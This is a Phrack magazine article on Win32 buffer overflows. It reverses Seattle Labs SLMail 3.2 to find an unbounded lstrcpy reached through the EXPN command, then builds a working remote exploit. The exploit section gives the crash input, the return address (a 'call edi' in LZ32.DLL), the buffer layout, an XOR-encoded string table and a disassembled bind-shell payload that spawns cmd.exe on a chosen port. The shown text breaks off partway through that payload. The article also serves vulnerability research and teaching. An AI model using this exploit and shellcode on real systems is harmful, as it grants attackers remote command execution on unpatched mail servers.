-------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 15 of 19  ]

   
-------------------------[  Win32 Buffer Overflows
                            (Location, Exploitation and Prevention)


--------[ dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org>  ]


----[  Abstract

"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."

-Noam Chomsky


The Internet - the last great stronghold of freedom of thought, ideas and
expression - and with each passing moment the bleak outcome of a corporate
and government controlled entity increases in probability.

The battle lines have been drawn, and for the moment, we have the upper
hand, but only by a margin.

Software companies with no alternative but to resort to the censorship of
knowledge have made their presence felt, sites relating to the 'black art'
of software reversing and the like are being removed on a continual basis.

Hopefully, the few unrestrained who walk the back alleys will continue to
publish information - and create avenues for others to expand, spread and
develop - this is where the battle will be won.

Assembly language is a weapon chosen only by few, but those who possess
the skill to harness its power can and will defeat any of the newer tools
of modern combat.

I wish you the best of luck finding information, though.  With power, comes a
price - Assembler isn't the easiest language to learn, and as such you may
have trouble finding documentation among the hordes of Visual this, Visual
that, Visual Bloat for Dummies.. but continue your search, you'll be glad
you did.

When profit gain is the primary momentum, speed, control, size and performance
of your software is sacrificed for ease of use and 'prompt development'.
The need to know what goes on internally is a rare necessity and optimization
is of little importance.  Those that remain untainted by the prospect of
monetary rewards, and first and foremost are driven by the sheer desire to
better educate ones self, are those that will always be on the pinnacle -
and are those that are feared most of all.

With Windows NT now a major player, and the open source movement not looking
to have any impact in the near future, the ability to 'look under the hood' is
an incredibly valuable asset and will be the focus of the first section in
this paper.

It is of no great surprise that attempts to outlaw reverse engineering are
currently in the works, but the effects of such a proposal would be disastrous. 

Despite the fact that it is an open invitation for vendors to use sub-standard
coding practice, there are those in the security industry who rely on these
techniques to find and document vulnerabilities.  The online world would
suffer as a result.

Do not concede.


Introduction.
~~~~~~~~~~~~~

This paper will be separated into 3 sections.

The first will cover a standard reversing session, and we'll point out a
common vulnerability.

The second will demonstrate the process of exploiting the weakness - the
problem with most win32 remote overflow exploits stems from the payload,
the current trend is to have the shellcode download an external file and
execute.

Far too many problems result from this technique, depending on
router/firewall configurations etc.

The payload I present to you will directly spawn a full-blown shell on any
port you specify, eliminating 90% of most reported problems.  This is the
first of its kind as far as I am aware.

The last section will show how to add your own code to the executables
of your target to prevent exploitation.


The example I will be using for this document is the latest version of
Seattle Labs mail server (3.2.3113).  There are numerous buffer overflows
riddled throughout this software, we'll be concentrating on a port opened by
the POP service, which provides the Extended Turn functions.

Seattle Labs were contacted about this in a previous version but did not
bother to remedy the situation, instead they just changed the default port
from 27 to 8376.

Bad move.

The vulnerabilities were made public by the way, so please, Russ, don't send
me nasty emails.

Before we begin I will assume you have a general knowledge of Assembler,
Windows programming, a basic understanding of the Portable Executable
structure and you know the fundamentals of buffer overflows - I won't be
re-hashing the basics in this paper.


Tools Required:

Interactive Disassembler from http://www.datarescue.com - hands down the BEST 
disassembler for the PC.

A decent debugger, e.g.: SoftIce.

PE Dump from Matt Peitrek, or dumpbin will suffice.

A hex editor, any will do.. PS Edit does nicely.

A Win32 API reference.

If you want to assemble the tools/exploits that accompany this paper then
you'll also need TASM 5.0.

The binaries will be available at http://www.beavuh.org as well as the 
latest goodies that we feel the need to release.


Section 1: Under the Hood.  
~~~~~~~~~~~~~~~~~~~~~~~~~~

Interactive Disassembler Pro is without a doubt, THE tool for reversing code.
Disassembly begins from the entry point of the program, and follows all routes
of execution, then continues to locate functions outside of the main flow of
the program.  You have full control over what is marked as data or code.  IDA
recognizes a huge amount of library functions, which provides a much better
understanding of the target.  It will disassemble an unbelievable amount of
file formats, from a wide range of processors.  You're given the ability to
have repeatable comments, labels, modify any piece of code, function,
"interactively".  IDA also includes it's own macro language, to automate
your chores.

If I were to cover everything this tool can do I would be here all day, and
I'd still be missing something.

With the combined effort of IDA and Soft Ice, there are no barriers.

This section will be rather short, the only reason being that IDA cuts through
SLMail's code like a machete.

Load up slmail.exe into IDA and we'll get underway...


First we need to think about our target for a minute, we're going to try and
exploit one of the SMTP commands so it is almost certain they will be accessed
and compared from a table.. Let's do a search:

Hit <alt+b> "search for text in core" and enter "EXPN", we'll land smack in
the middle of these ASCII strings.


004439C0 aSize           db 'SIZE',0
004439C5                 align 4
004439C8 aXtrn           db 'XTRN',0
004439CD                 align 4
004439D0 aEtrn           db 'ETRN',0
004439D5                 align 4
004439D8 aQuit           db 'QUIT',0             ; DATA XREF: sub_403970+280.o
004439D8                                         ; .data:00448A60.o
004439DD                 align 4
004439E0 aHelp_0         db 'HELP',0
004439E5                 align 4
004439E8 aTurn           db 'TURN',0             ; DATA XREF: sub_403970+F0.o
004439ED                 align 4
004439F0 aExpn           db 'EXPN',0    

...<snip>


Now we need to find the table that references the commands, so we'll do
another search.. this time entering the dword offset to the left of EXPN
(004439f0).

And we land in the middle of this mess:


004436F8 dword_4436F8    dd 443A98h              ; DATA XREF: sub_404390+24.r
004436F8                                         ; sub_404390+34.o
004436FC                 db    3 ;  
004436FD                 db    0 ;  
004436FE                 db    0 ;  
004436FF                 db    0 ;  
00443700                 db  94h ; "
00443701                 db  3Ah ; :
00443702                 db  44h ; D
00443703                 db    0 ;  
00443704                 db  0Ah ;  
00443705                 db    0 ;  
00443706                 db    0 ;  
00443707                 db    0 ;  
00443708                 db  90h ; 
00443709                 db  3Ah ; :
0044370A                 db  44h ; D
0044370B                 db    0 ;  
0044370C                 db    1 ;  
0044370D                 db    0 ;  
0044370E                 db    0 ;  
0044370F                 db    0 ;  

...<snip>

004437E8                 db 0F0h ; 
004437E9                 db  39h ; 9
004437EA                 db  44h ; D
004437EB                 db    0 ;  
004437EC                 db  19h ;  
004437ED                 db    0 ;  
004437EE                 db    0 ;  
004437EF                 db    0 ;  


There's no point showing the complete table here, now.. take a look at its
structure.


<pointer to string> <dword> <pointer to string> <dword> etc


My best guess here is that the dword value following each pointer will be the
value assigned after a successful comparison. Let's check our theory.  Also we
should note down our value after the pointer to "EXPN" : 004439f0h, 00000019h. 

0x19, we'll keep that in mind.

Scroll up and at the top of the table you see:


004436F8 dword_4436F8    dd 443A98h              ; DATA XREF: sub_404390+24.r
004436F8                                         ; sub_404390+34.o


You can see to the right where the table is referenced, so click on the
subroutine and we'll land straight into the call.


004043B4 loc_4043B4:                             ; CODE XREF: sub_404390+11.j
004043B4                 mov     ecx, dword_4436F8
004043BA                 test    ecx, ecx
004043BC                 jz      short loc_4043F3 
004043BE                 mov     ebp, ds:lstrlenA
004043C4                 mov     esi, offset dword_4436F8


Our table loaded at esi, ebp contains the address of lstrlenA.


004043C9 
004043C9 loc_4043C9:                             ; CODE XREF: sub_404390+61.j
004043C9                 test    eax, eax
004043CB                 jnz     short loc_4043F3
004043CD                 mov     eax, [esi]
004043CF                 push    eax
004043D0                 call    ebp


Here we go, the string first moved to eax and then a string length function
called.


004043D2                 mov     ecx, [esi]
004043D4                 push    eax
004043D5                 push    ecx
004043D6                 push    ebx
004043D7                 call    j_lstrncmpi
004043DC                 neg     eax
004043DE                 sbb     eax, eax
004043E0                 inc     eax
004043E1                 jz      short loc_4043E9


Now we know that the parameters for lstrncmpi are as follows:

strncmpi(first_string, second_string, number_of_chars);

The first parameter pushed on the stack is the return from the string length
function, ecx is then pushed which points to the string, and finally ebx.
So we can determine from this that ebx contains the input from the user.
I can see that some of you may be a little puzzled here, yes - parameters
are pushed on to the stack in reverse order.


004043E3                 xor     edi, edi
004043E5                 mov     di, [esi+4]


Ah, just as we suspected.. if there is a successful comparison then di is
loaded with the value that followed our pointer.


004043E9 
004043E9 loc_4043E9:                             ; CODE XREF: sub_404390+51.j
004043E9                 mov     ecx, [esi+8]
004043EC                 add     esi, 8
004043EF                 test    ecx, ecx
004043F1                 jnz     short loc_4043C9

loop :)

004043F3 
004043F3 loc_4043F3:                             ; CODE XREF: sub_404390+18.j
004043F3                                         ; sub_404390+2C.j ...
004043F3                 mov     eax, edi       
004043F5                 pop     edi
004043F6                 pop     esi
004043F7                 pop     ebp
004043F8                 pop     ebx
004043F9                 retn    
004043F9 sub_404390      endp ; sp = -10h
004043F9 


And finally eax holds our value, and we return from the call.  Let's continue.


00405EC7                 mov     edx, [esp+2Ch+arg_8]
00405ECB                 mov     ebx, eax
00405ECD                 mov     eax, [esp+2Ch+arg_4]
00405ED1                 push    edx
00405ED2                 push    eax
00405ED3                 push    esi
00405ED4                 lea     ecx, [esp+3Ch]
00405ED8                 push    edi
00405ED9                 push    ecx
00405EDA                 push    ebx
00405EDB                 call    sub_404850


Now, the important things to take note of here is edx gets our inputted
string, and ebx is given our value from the table (0x19).  Remember the
order in which our registers were pushed, so we will be able to tell what
is being referenced from the stack - and in the next call we will rename
the stack variables to make it easier on ourselves.

Note: I'm not taking advantage of some of the GREAT features IDA possesses
- repeatable comments, labels and much more.  A necessity while on a real
reversing journey.


00404850 sub_404850      proc near               ; CODE XREF: sub_405330+73.p
00404850                                         ; sub_405560+73.p ...
00404850 
00404850 var_270         = byte ptr -270h
00404850 var_26C         = dword ptr -26Ch
00404850 var_268         = byte ptr -268h
00404850 var_264         = byte ptr -264h
00404850 var_23C         = byte ptr -23Ch
00404850 var_230         = byte ptr -230h
00404850 var_168         = byte ptr -168h
00404850 var_110         = byte ptr -110h
00404850 var_105         = byte ptr -105h
00404850 var_104         = byte ptr -104h
00404850 var_10          = dword ptr -10h
00404850 var_4           = dword ptr -4
00404850 our_val         = dword ptr  4
00404850 arg_4           = dword ptr  8
00404850 arg_8           = dword ptr  0Ch
00404850 arg_C           = dword ptr  10h
00404850 arg_10          = dword ptr  14h
00404850 our_input       = dword ptr  18h
00404850 
00404850                 mov     ecx, [esp+our_val]
00404854                 sub     esp, 26Ch
0040485A                 xor     eax, eax
0040485C                 cmp     ecx, 8
0040485F                 push    ebx
00404860                 push    ebp
00404861                 push    esi
00404862                 push    edi
00404863                 jnz     loc_4048E9


We rename the useful stack arguments to something easier to remember,
arg_0 = our_val, and arg_14 = our_input - if you're lost go back and take
another look at the order the registers were pushed.

ecx is loaded with our 0x19 value.  It is then compared to 8, which is not
us, so we'll follow the jump.


004048E9 
004048E9 loc_4048E9:                             ; CODE XREF: sub_404850+13.j
004048E9                 cmp     ecx, 17h
004048EC                 jnz     short loc_40495A
004048EE                 mov     ecx, [esp+27Ch+arg_10]
004048F5                 mov     esi, [esp+27Ch+arg_C]
004048FC                 mov     eax, [ecx]
004048FE                 cmp     eax, 8
00404901                 jnz     short loc_404914
00404903                 mov     ecx, [esi+100h]
00404909                 test    ecx, ecx
0040490B                 jz      short loc_404914
0040490D                 mov     ebx, 1
00404912                 jmp     short loc_404916


A comparison to 17h, again.. not us, so we continue to follow the jumps until
we reach...


00404B7F loc_404B7F:                             ; CODE XREF: sub_404850+1C0.j
00404B7F                 cmp     ecx, 19h
00404B82                 jnz     loc_404D7F
00404B88                 mov     eax, dword_457354
00404B8D                 test    eax, eax
00404B8F                 jz      loc_404D4F
00404B95                 mov     eax, dword_457384
00404B9A                 mov     edi, [esp+27Ch+our_input]
00404BA1                 push    0
00404BA3                 push    eax
00404BA4                 push    edi
00404BA5                 call    sub_4365A0


And here's our boy, note how our variables we renamed follow all through
the call, IDA rocks doesn't it? :)

So edi gets our string input, and we follow yet another call - again we'll
rename the useful stack variable upon entering the next call.
i.e.: edi = arg_0 = our_input


004365A0 sub_4365A0      proc near               ; CODE XREF: sub_4029D0+92.p
004365A0                                         ; sub_4029D0+107.p ...
004365A0 
004365A0 var_12C         = byte ptr -12Ch
004365A0 var_12B         = byte ptr -12Bh
004365A0 our_input       = dword ptr  4
004365A0 arg_4           = dword ptr  8
004365A0 arg_8           = dword ptr  0Ch
004365A0 
004365A0                 mov     eax, [esp+arg_8]
004365A4                 mov     ecx, [esp+arg_4]
004365A8                 sub     esp, 12Ch
004365AE                 lea     edx, [esp+12Ch+var_12C]
004365B2                 push    0
004365B4                 push    eax
004365B5                 mov     eax, [esp+134h+our_input]
004365BC                 push    ecx
004365BD                 push    12Ch
004365C2                 push    edx
004365C3                 push    eax
004365C4                 call    sub_4364A0


And yet another call, again take notice of the order in which the registers
were pushed, eax=arg_0=our_input.  I have a feeling we are getting closer
to the goods.

Ok, I admit it. I peeked.


004364A0 sub_4364A0      proc near               ; CODE XREF: sub_436470+1B.p
004364A0                                         ; sub_4365A0+24.p ...
004364A0 
004364A0 var_98          = byte ptr -98h
004364A0 var_8C          = byte ptr -8Ch
004364A0 var_78          = byte ptr -78h
004364A0 var_6C          = byte ptr -6Ch
004364A0 var_35          = byte ptr -35h
004364A0 var_15          = byte ptr -15h
004364A0 var_8           = dword ptr -8
004364A0 var_4           = dword ptr -4
004364A0 our_input       = dword ptr  4
004364A0 arg_4           = dword ptr  8
004364A0 
004364A0                 mov     eax, [esp+our_input]
004364A4                 sub     esp, 64h
004364A7                 push    ebx
004364A8                 push    ebp
004364A9                 push    esi
004364AA                 mov     esi, [esp+70h+arg_4]
004364AE                 push    edi
004364AF                 push    eax
004364B0                 push    esi
004364B1                 call    ds:lstrcpyA
004364B7                 push    40h
004364B9                 push    esi
004364BA                 call    j_lstrchr
004364BF                 test    eax, eax
004364C1                 jz      short loc_4364C6
004364C3                 mov     byte ptr [eax], 0


And here we have it, the classic screw-up.  esi points to the buffer, eax
has our string - *bang* strcpy.

Did anyone out there notice any form of bounds checking up to this point?
I sure didn't.

Please guys, do not try to hide from us - we CAN see what you do.

Now we know EXPN is our sure-fire victim.  Feel free to follow some of the
other commands, you will run into similar coding practice, Seattle Labs
have a lot to clean up.

From a relatively quick reversing session, we find a common mistake - yet
a mistake that compromises the entire server.

Now, obviously, a lot of sessions won't be as straight forward - wait for
a rainy day, have an extra packet of cigarettes on hand, a bottle of vodka,
crank some 30footFALL and get hacking - patience is a virtue, take your time
and navigate the code, you'll be amazed at what you find.

And hey, even if you come up empty, by the time you've downed that bottle you
won't care anyway.

With enough patience and determination, you will find a barrage of different
holes and vulnerabilities through disassembly techniques.  It is an asset
worth having.


Section 2: The Exploit.
~~~~~~~~~~~~~~~~~~~~~~~

Although this section will cover some tricks, techniques and the process
of exploiting overflows in Windows, the main purpose of this section is to
document what I consider the most ideal shellcode available for Win32
exploits at this time.

The last thing I want to do is go over already covered ground - none the
less, I will document the route I took personally before creating the
payload.  To those of you who have done this sort of thing before, feel
free to skip straight to the shellcode.

Before we begin, I just have something to say quickly regarding some members
of the security community.

When I released the IIS exploit (the definition of proof of concept :)),
some of the mail was rather unsettling.

Mail from employees of large corporations and yes, government agencies,
bearing titles such as 'Head of Network Security' and similar who were
using the exploit to determine the risk to their servers.  If the exploit
failed, some were prepared to class the risk as minimal.

Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it.  If you think that was
the only demonstration code floating around you need your head examined.

Hopefully now, you may change your attitude.  The masses now have full
control, without fail.

Here we go.

My experience with NT is rather limited, in fact, I've only recently made
the move from spelunking Windows 9x.

Unfortunately what I've noticed under NT is SoftIce has a bit of trouble
trapping faults, and other debuggers tend to break in after the exception
handling has kicked in.

This sucks for a couple of reasons.

If an exception is raised after a string length routine tries to read from
invalid memory for example, under NT its quite likely that it'll be the
exception handler itself that overwrites eip with your data (IIS comes to
mind again).

We can route our eip to an offset at that point if we wish, but it isn't
particularly delicate, we'd be much better off to try and throw in some
valid addresses and let the code ret to an eip with our data.

What I suggest is setting a breakpoint on the exception dispatcher and
dumping the eip it was called from.. 

e.g.: bpx KiUserExceptionDispatcher DO "dd *esp+0c"

Now if eip hasn't been overwritten you can break at that offset and see
what you have to play with, if eip has been taken then the offset at that 
location should be your bytes.

In that case you can either try and trace back into the blown stack and
find a location to break on relatively close to where we ret to our eip,
or just take an educated guess.

The latter is the path we'll take.

Let's break this thing.

attica:~> telnet 192.168.10.3 8376
Trying 192.168.10.3...
Connected to 192.168.10.3.
Escape character is '^]'.
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Our debugger breaks in, obviously in this case eip has been totally
taken, look at where the handler was called - 0x78787878, i.e.: xxxx.

Ok, now we want to find the exact point in the code where we return to our
address - let's take a look at the disassembly.


004364AF                 push    eax
004364B0                 push    esi
004364B1                 call    ds:lstrcpyA


Let's set a breakpoint just above the call to lstrcpy, that way we can also
have a closer look at the buffer manipulation and we should be mere footsteps
away from total system control.

Ok, send the data and let your debugger kick in, ret out of the call and
you'll quickly reach..


or	eax, -01
add	esp, 0000012c
ret


That's where we wanna be, that ret will drop us to our eip.  We have control.

Now, to go somewhere useful.

Let's examine the registers and see what we have to play with, esp is totaled
and points somewhere around the middle of our buffer.  So we could jump the
stack, but why bother?  Take a look at some of those other registers - edi
has our buffer directly after the "expn".  We couldn't have asked for
anything better.  Although there are a fair few different ways to jump the
stack, we'll almost always find a "call edi" or similar.

Let's think about this for a moment, in a perfect world we'd just reference
an offset in slmail.exe - but this is the world of Windows.

We have to avoid null bytes so unfortunately we can't use the exe itself, as
it is loaded at the default base address of 0x00400000.  We could use a
location in the executable if we were to place our offset at the end of our
data, as we'd have the null at the end of the string, but that doesn't leave
us with enough space for a decent payload.  Remember we don't want this to be
dependent on the version of NT at all, so we either need to use a DLL included
with SLMail or an external DLL that is static on all service packs.

So let's take a look at what else has been loaded from that process.
SysInternals (http://www.sysinternals.com) have a handy little util called
listdlls which will show you just that.


C:\tools>listdlls slmail.exe

ListDLLs V2.1
Copyright (C) 1997-1999 Mark Russinovich
http://www.sysinternals.com

------------------------------------------------------------------------------
slmail.exe pid: 159
  Base        Size      Version         Path
  0x00400000  0x62000   3.02.0001.1204  E:\PROGRA~1\SLmail\slmail.exe
  0x77f60000  0x5c000   4.00.1381.0130  E:\WINNT\System32\ntdll.dll
  0x10000000  0xc000    2.03.0000.0000  E:\WINNT\system32\OpenC32.dll
  0x77f00000  0x5e000   4.00.1381.0133  E:\WINNT\system32\KERNEL32.dll
  0x77ed0000  0x2c000   4.00.1381.0115  E:\WINNT\system32\GDI32.dll
  0x77e70000  0x54000   4.00.1381.0133  E:\WINNT\system32\USER32.dll
  0x77dc0000  0x3f000   4.00.1381.0121  E:\WINNT\system32\ADVAPI32.dll
  0x77e10000  0x57000   4.00.1381.0131  E:\WINNT\system32\RPCRT4.dll
  0x77d80000  0x32000   4.00.1381.0027  E:\WINNT\system32\comdlg32.dll
  0x77c40000  0x13c000  4.00.1381.0114  E:\WINNT\system32\SHELL32.dll
  0x77aa0000  0x74000   4.72.3609.2200  E:\WINNT\system32\COMCTL32.dll
  0x776d0000  0x8000    4.00.1381.0131  E:\WINNT\system32\WSOCK32.dll
  0x776b0000  0x14000   4.00.1381.0133  E:\WINNT\system32\WS2_32.dll
  0x78000000  0x40000   6.00.8337.0000  E:\WINNT\system32\MSVCRT.dll
  0x776a0000  0x7000    4.00.1381.0031  E:\WINNT\system32\WS2HELP.dll
  0x77a90000  0xb000    4.00.1371.0001  E:\WINNT\system32\VERSION.dll
  0x779c0000  0x8000    4.00.1371.0001  E:\WINNT\system32\LZ32.dll
  0x77bf0000  0x7000    4.00.1381.0072  E:\WINNT\system32\rpcltc1.dll
  0x77660000  0xf000    4.00.1381.0037  E:\WINNT\system32\msafd.dll
  0x77690000  0x9000    4.00.1381.0037  E:\WINNT\System32\wshtcpip.dll
  0x74ff0000  0xd000    4.00.1381.0131  E:\WINNT\System32\rnr20.dll


There's not much loaded there in the way of its own DLL's, so we'll have to
pick something external.  LZ32.DLL will do, static on all service packs,
has the code we need and the offset has no null bytes.
 
We find at location 0x779C1CAA we have a "call edi", that'll do nicely.

The next problem - we need to know where in our buffer to stuff our offset.
A quick and easy way to find this out is to fill your buffer with a heap
of independent bytes, 1A, 2A, 3A, 4A....A1, A2 and so on, and you'll be
able to pinpoint the location when eip is overwritten.

Quickly we notice that the location we need is about 300 bytes into our buffer,
so we have:

expn <299 nops> 0x779c1caa

So in its current form, if we were to send that data, eip would return to the
offset 0x779c1caa which would call edi and execute our nops - before the offset
we will also add in a short jump to bypass the garbage instructions that our
offset was translated to.

Now all that remains is to tack our payload on to the end.

It's time. 


The Payload.
~~~~~~~~~~~~

Note: the ideas for the string table/jump table came from DilDog, very cool.
Amazing work you do.

The goal:

An exploit that spawns a command prompt directly on a specified port, and will
execute successfully on all NT versions. 

Considerations:

- We are unsure of the exact OS version.
- Function locations will differ depending on versions/service packs/upgrades.
- The import table for SLMail does not have all needed functions.
- We must avoid null bytes, carriage returns etc.

We can take care of the first three problems by linking to the IAT of slmail,
and using those procedures to load external functions.  As for the fourth?
We'll just have to be clever.

In order for me to keep the shellcode as generic as possible, we will create a
jump table of all external functions we will be using, without relying on
SLMails imports - with two exceptions.

For us to be able to load DLL's and retrieve the addresses for needed
procedures we will need to reference two functions from the import table
of slmail.exe:

GetProcAddress and LoadLibraryA.

Before I show the table we create, I want to give a brief rundown on what's
involved when spawning a remote shell under Windows NT.  Unfortunately it
is not anywhere near as straight forward as when you're working with *nix,
but, of course, it's do-able.  To be able to spawn a full-blown remote
shell, we need to be able to redirect standard output and standard error
to the connected user, and the connected user must have control over
standard input.

The answer?

Anonymous Pipes.

The primary use for anonymous pipes is to exchange data between
parent/child processes, or just between child processes.

The anonymous pipe is a one-way pipe - the data will flow in one
direction - from one end, to the other.  The usefulness is apparent when
we are working with the console, as we can replace the handles of
stdin/stdout/stderr with handles to the ends of the created pipes.  We can
then read and write to the pipes with the Read and Writefile API's.  From
the read end of the stdout pipe, we send the buffer to the connected socket
and subsequently what we receive from the connected socket we fire off to
the write end of the stdin pipe.

To keep it generic our string table is unfortunately going to have to include
a fair few functions, all taking up precious bytes.  When you are strapped
for stack space you'll want to make use of more functions from your targets
IAT.


The table:

        db "KERNEL32",0	;string to push for LoadLibrary.
	db "CreatePipe",0
	db "GetStartupInfoA",0  

;we will modify the start-up structure at runtime as the structure is far
;too large to include in the shellcode.
	
	db "CreateProcessA",0
	db "PeekNamedPipe",0
	db "GlobalAlloc",0
	db "WriteFile",0
	db "ReadFile",0
	db "Sleep",0
	db "ExitProcess",0
	
	db "WSOCK32",0
	db "socket",0
	db "bind",0
	db "listen",0
	db "accept",0
	db "send",0
	db "recv",0

sockstruc STRUCT
	sin_family dw 0002h
	sin_port   dw ?
	sin_addr   dd ?
	sin_zero   db 8 dup (0)
sockstruc ENDS

;the sin_port word value will be filled by the exploit client before the
;shellcode is sent.	
	
	db "cmd.exe",0
	dd 0ffffffffh
	db 00dh, 00ah

;the string to push to invoke the command prompt. 
;the dword at the end will be used to reference the end of the string table 
;at runtime.


Now, I know what you're thinking - all those strings are null-terminated,
and the structures contain null bytes.  To get around this, we will XOR
the string table with 0x99, except for the carriage, linefeed, and the
0xFFFFFFFF dword.

If all went to plan, your encrypted table should look a little something
like this:


00000280  .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC              .....
00000290  D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE   ................
000002A0  FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA   ................
000002B0  EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5   ................
000002C0  F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8   ................
000002D0  F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5   ................
000002E0  F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC   ................
000002F0  F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0   ................
00000300  ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB   ................
00000310  99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA   ................
00000320  ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99   ................
00000330  EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99   ................
00000340  99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF   ................
00000350  FF 0D 0A                                          ...


This will be tacked on to the very end of our shellcode.

Now it is time to get to the good stuff.

Note: this exploit assumes a base address of 0x00400000

The recommended way to follow this is to step over the code in your
debugger while reading the explanations.


:00000138 33C0                    xor eax, eax
:0000013A 50                      push eax
:0000013B F7D0                    not eax
:0000013D 50                      push eax
:0000013E 59                      pop ecx
:0000013F F2                      repnz
:00000140 AF                      scasd
:00000141 59                      pop ecx
:00000142 B1C6                    mov cl, C6
:00000144 8BC7                    mov eax, edi
:00000146 48                      dec eax
:00000147 803099                  xor byte ptr [eax], 99
:0000014A E2FA                    loop 00000146


This sets edi to the end of our encrypted string table by scanning the buffer
for our dword (0xFFFFFFFF), ecx holds the amount of characters to decrypt.
edi is then moved to eax, and each byte is decrypted (XORed with 0x99).  eax
now points to the beginning of the string table.


:0000014C 33F6                    xor esi, esi
:0000014E 96                      xchg eax,esi
:0000014F BB99101144              mov ebx, 44111099
:00000154 C1EB08                  shr ebx, 08
:00000157 56                      push esi
:00000158 FF13                    call dword ptr [ebx]


Here we make a call to LoadLibraryA, pushing esi as the parameter - which
points to "KERNEL32", the first string of the table.  The call is made by
giving ebx the location of LoadLibrary from SLMails import table, and we
tack on an extra byte to avoid the use of a null character.  We then kill
it by shifting the value right one byte.  LoadLibraryA = 00441110h


:0000015A 8BD0                    mov edx, eax
:0000015C FC                      cld
:0000015D 33C9                    xor ecx, ecx
:0000015F B10B                    mov cl, 0B
:00000161 49                      dec ecx
:00000162 32C0                    xor al, al
:00000164 AC                      lodsb
:00000165 84C0                    test al, al
:00000167 75F9                    jne 00000162


We give ecx the amount of procedures we have specified from the kernel, as
we will be creating a jump table for our functions.  Then we just increment
esi until we reach a null byte - moving to the next string name.


:00000169 52                      push edx
:0000016A 51                      push ecx
:0000016B 56                      push esi
:0000016C 52                      push edx
:0000016D B30C                    mov bl, 0C
:0000016F FF13                    call dword ptr [ebx]
:00000171 AB                      stosd
:00000172 59                      pop ecx
:00000173 5A                      pop edx
:00000174 E2EC                    loop 00000162


Here we call GetProcAddress, ebx already had the value from LoadLibrary, so we
only need to modify the low byte.  We then store the address at edi, and loop
for the rest of the functions.  We now have a jump table at edi - we can now
call each function indirectly from edi.  e.g.: call dword ptr [edi-0c].
 

:00000176 32C0                    xor al, al
:00000178 AC                      lodsb
:00000179 84C0                    test al, al
:0000017B 75F9                    jne 00000176
:0000017D B310                    mov bl, 10
:0000017F 56                      push esi
:00000180 FF13                    call dword ptr [ebx]
:00000182 8BD0                    mov edx, eax
:00000184 FC                      cld
:00000185 33C9                    xor ecx, ecx
:00000187 B106                    mov cl, 06
:00000189 32C0                    xor al, al
:0000018B AC                      lodsb
:0000018C 84C0                    test al, al
:0000018E 75F9                    jne 00000189
:00000190 52                      push edx
:00000191 51                      push ecx
:00000192 56                      push esi
:00000193 52                      push edx
:00000194 B30C                    mov bl, 0C
:00000196 FF13                    call dword ptr [ebx]
:00000198 AB                      stosd
:00000199 59                      pop ecx
:0000019A 5A                      pop edx
:0000019B E2EC                    loop 00000189


This is just a repeat of the earlier code, except now we are extending our
jump table to include the socket functions.


:0000019D 83C605                  add esi, 00000005
:000001A0 33C0                    xor eax, eax
:000001A2 50                      push eax
:000001A3 40                      inc eax
:000001A4 50                      push eax
:000001A5 40                      inc eax
:000001A6 50                      push eax
:000001A7 FF57E8                  call [edi-18]
:000001AA 93                      xchg eax,ebx


Here we push the values SOCK_STREAM, AF_INET, and null for the protocol.  We
then call the 'socket' function.

Note: We don't need to call WSAStartup as the target process has taken care of
that for us

We also set esi to point to the socket structure, and we store the return
value from the socket procedure in ebx so it won't be destroyed by following
functions.


:000001AB 6A10                    push 00000010
:000001AD 56                      push esi
:000001AE 53                      push ebx
:000001AF FF57EC                  call [edi-14]


This just makes a call to bind, pushing our socket handle and the socket
structure as parameters.


:000001B2 6A02                    push 00000002
:000001B4 53                      push ebx
:000001B5 FF57F0                  call [edi-10]


Now we call listen, socket handle as the parameter.


:000001B8 33C0                    xor eax, eax
:000001BA 57                      push edi
:000001BB 50                      push eax
:000001BC B00C                    mov al, 0C
:000001BE AB                      stosd
:000001BF 58                      pop eax
:000001C0 AB                      stosd
:000001C1 40                      inc eax
:000001C2 AB                      stosd
:000001C3 5F                      pop edi
:000001C4 48                      dec eax
:000001C5 50                      push eax
:000001C6 57                      push edi
:000001C7 56                      push esi
:000001C8 AD                      lodsd
:000001C9 56                      push esi
:000001CA FF57C0                  call [edi-40]


Now we make our first call to CreatePipe, we create our SECURITY_ATTRIBUTES
structure at edi, and specify that the returned handles are inheritable.  esi
receives our read and write handles returned from the call.


:000001CD 48                      dec eax
:000001CE 50                      push eax
